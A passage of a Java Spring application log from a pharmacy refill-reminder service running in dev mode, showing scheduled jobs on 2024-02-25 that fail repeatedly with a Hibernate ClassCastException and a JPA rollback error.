com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 08:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 08:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 08:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 08:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 08:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 08:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 08:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 08:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 08:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 08:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 08:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 08:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 08:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 08:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 08:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 08:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 08:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 08:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 08:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 08:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 08:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 08:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 08:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 08:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 08:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 08:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 08:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 08:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 08:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at 